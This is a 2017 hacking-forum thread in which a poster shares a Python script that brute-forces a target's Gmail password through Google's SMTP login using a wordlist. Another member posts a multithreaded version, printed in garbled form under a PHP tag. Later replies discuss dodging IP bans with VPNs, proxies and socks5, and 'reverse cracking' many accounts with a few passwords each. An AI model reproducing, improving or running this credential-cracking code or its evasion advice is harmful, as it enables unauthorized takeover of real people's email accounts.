Aug 7, 2017 10:17 PM
(This post was last modified: Aug 7, 2017 10:18 PM by DeLiiRiuM.)
Many people don't realize how hard cracking really is. With that said I can tell you right now that this cracker is slow and not very effective. The reason I post this is to show people how cracking really works and hopefully open their eyes making them realize that one doesn't simply "Hack an account"
You will need to copy and paste the code below into a .py file
You will also need to place your wordlist in the same directory as the py file
Anyways here is the code, make sure you're running python 2.x
Code import os
import smtplib
import sys
from colorama import init, Fore
init()
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
os.getcwd
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print (Fore.RED + "[!]File Not Found")
for password in passwfile:
try:
session.login(User,password)
print (Fore.GREEN + " [+] PASSWORD FOUND: %s" % password)
break
except smtplib.SMTPAuthenticationError:
print (Fore.RED + " [!] INCORRECT: {!s}".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
except smtplib.SMTPServerDisconnected:
print (Fore.RED + " [!] INCORRECT: {!s}".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
Aug 8, 2017 02:52 AM
(This post was last modified: Aug 8, 2017 05:18 AM by vorticalbox.)
Not bad but why not make it multi threaded? I would also print out the username, the total number of passwords and well threads too.
Ideally, you don't want to print as it is really slow maybe use something like tqdm (pip install tqdm) and then print when you found the value? maybe something like this?
PHP Code
<?php import os import smtplib import sys from colorama import init, Fore from multiprocessing import Pool from tqdm import tqdm init()
def loginCheck(p): session = smtplib.SMTP("smtp.gmail.com", 587) session.ehlo() session.starttls() session.ehlo() try: session.login(user,p) ret = [True, ':'.join([user,p])] except smtplib.SMTPAuthenticationError: session = smtplib.SMTP("smtp.gmail.com", 587) session.ehlo() session.starttls() session.ehlo() return [False] except smtplib.SMTPServerDisconnected: session = smtplib.SMTP("smtp.gmail.com", 587) session.ehlo() session.starttls() session.ehlo() return [False]
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
os.getcwd username = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ") passwfile = raw_input (Fore.GREEN + " Enter The Password List: ") threads = int(raw_input (Fore.GREEN + " Enter number of threads: ")) try: passwfile = open(passwfile, "r").read().split('\n') except IOError: print (Fore.RED + "[!]File Not Found")
print (Fore.BLUE+"username: {0} passwords {1} threads {2}".format( username, len(passwfile), threads)) print (Fore.GREEN+"") for user in username: p = Pool(threads) for i in tqdm(p.imap_unordered(loginCheck, passwfile), total=len(passwfile)): if i[0] == True: print(i[1]) break p.close()
Thanks for the code though I was planning on making one so going to use this as a base :)
¸„»°'´¸„»°'´Vorticalbox `'°«„¸`'°«„¸
`'°«„¸¸„»°'´¸„»°'´`'°«„¸Scientia Potentia est ¸„»°'´`'°«„¸`'°«„¸¸„»°'´
Hey man thanks, never thought about doing that. To be honest I just never messed with it because I don't really even crack.. But thanks that's a good idea!!
(Aug 8, 2017 08:31 AM)DeLiiRiuM Wrote: Hey man thanks, never thought about doing that. To be honest I just never messed with it because I don't really even crack.. But thanks that's a good idea!!
Pool, map and tqdm are a great way to multi thread and get a price bar then doesn't just spam your console with messages. It really bugs me when people do it lol.
¸„»°'´¸„»°'´Vorticalbox `'°«„¸`'°«„¸
`'°«„¸¸„»°'´¸„»°'´`'°«„¸Scientia Potentia est ¸„»°'´`'°«„¸`'°«„¸¸„»°'´
DO NOT DEAL WITH THIS MEMBER
Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.
Therefore, this is useless unless you add proxy support.
(Aug 8, 2017 04:03 PM)Vana Wrote: Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.
Therefore, this is useless unless you add proxy support.
nope, you're wrong. It will ban you but only after like 100 attempts. So it's not that useless.
(Aug 8, 2017 04:49 PM)DeLiiRiuM Wrote: nope, you're wrong. It will ban you but only after like 100 attempts. So it's not that useless.
So it's only useful for 100 attempts without a proxy? Good luck getting anything useful out of that. The man was right
(Aug 8, 2017 04:03 PM)Vana Wrote: Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.
Therefore, this is useless unless you add proxy support. Never done oroxies with smtp though i assume is similar to requests.
¸„»°'´¸„»°'´Vorticalbox `'°«„¸`'°«„¸
`'°«„¸¸„»°'´¸„»°'´`'°«„¸Scientia Potentia est ¸„»°'´`'°«„¸`'°«„¸¸„»°'´
(Aug 8, 2017 04:53 PM)TheMarkMan Wrote: So it's only useful for 100 attempts without a proxy? Good luck getting anything useful out of that. The man was right
lmao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha
DO NOT DEAL WITH THIS MEMBER
Aug 8, 2017 06:02 PM
(This post was last modified: Aug 8, 2017 06:06 PM by Vana.)
(Aug 8, 2017 05:20 PM)DeLiiRiuM Wrote: lmao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha
And then your VPN gets banned and you have to switch to another server after 100 more tries.
Or you could add proxy support like I suggested and have it done automatically.
Don't call people idiots when you have zero clue what you're talking about.
(Aug 8, 2017 05:20 PM)DeLiiRiuM Wrote: lmao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha
So, it really is a bruteforcer for noobs if thats how you want to go about changing IP addresses. Click that button how many times? As compared to what, once to start the script?
Aug 8, 2017 11:24 PM
(This post was last modified: Aug 8, 2017 11:29 PM by DeLiiRiuM.)
(Aug 8, 2017 06:02 PM)Vana Wrote: And then your VPN gets banned and you have to switch to another server after 100 more tries.
Or you could add proxy support like I suggested and have it done automatically.
Don't call people idiots when you have zero clue what you're talking about.
Lol, I've used this method tons of times and never had a "banned vpn"
but that doesn't matter anyways. As the title said, it's for noobs who want to learn how cracking works..
DO NOT DEAL WITH THIS MEMBER
(Aug 8, 2017 11:24 PM)DeLiiRiuM Wrote: Lol, I've used this method tons of times and never had a "banned vpn"
You said it yourself:
(Aug 8, 2017 04:49 PM)DeLiiRiuM Wrote: It will ban you but only after like 100 attempts. Your VPN IP will get banned and you'll have to switch to another server on your VPN.
(Aug 8, 2017 11:24 PM)DeLiiRiuM Wrote: but that doesn't matter anyways. As the title said, it's for noobs who want to learn how cracking works..
My point is that this script barely works so people shouldn't be learning about cracking with it.
DO NOT DEAL WITH THIS MEMBER
Aug 8, 2017 11:54 PM
(This post was last modified: Aug 8, 2017 11:54 PM by ๖ۣۜCriminal.)
(Aug 8, 2017 11:32 PM)Vana Wrote: You said it yourself:
Your VPN IP will get banned and you'll have to switch to another server on your VPN.
My point is that this script barely works so people shouldn't be learning about cracking with it.
Most people use SMTP servers these days to reverse crack anyways which is trying 1-5 passses across multiple gmails, these can in theory be used for a more advanced reverse cracker that trys 50-100 passwords across tons of OG gmails for example without getting banned and your bound to hopefully hit a few that way, I think socks5 support would be better they tend to be faster then public proxies which tend to be slow if someone wanted to try to make a forward cracker via SMTP and I thought gmail blocks SMTP authentication by default unless you explicitly enable it unless im wrong? I could of sworn it emails the person saying your trying to log in using outdated technology, I know yahoo does that.
(Aug 8, 2017 11:54 PM)๖ۣۜCriminal Wrote: Most people use SMTP servers these days to reverse crack anyways which is trying 1-5 passses across multiple gmails, these can in theory be used for a more advanced reverse cracker that trys 50-100 passwords across tons of OG gmails for example without getting banned and your bound to hopefully hit a few that way, I think socks5 support would be better they tend to be faster then public proxies which tend to be slow if someone wanted to try to make a forward cracker via SMTP and I thought gmail blocks SMTP authentication by default unless you explicitly enable it unless im wrong? I could of sworn it emails the person saying your trying to log in using outdated technology, I know yahoo does that.
Gmail does that too, and if you logged in with an IP not familiair to the account it does it aswell.
|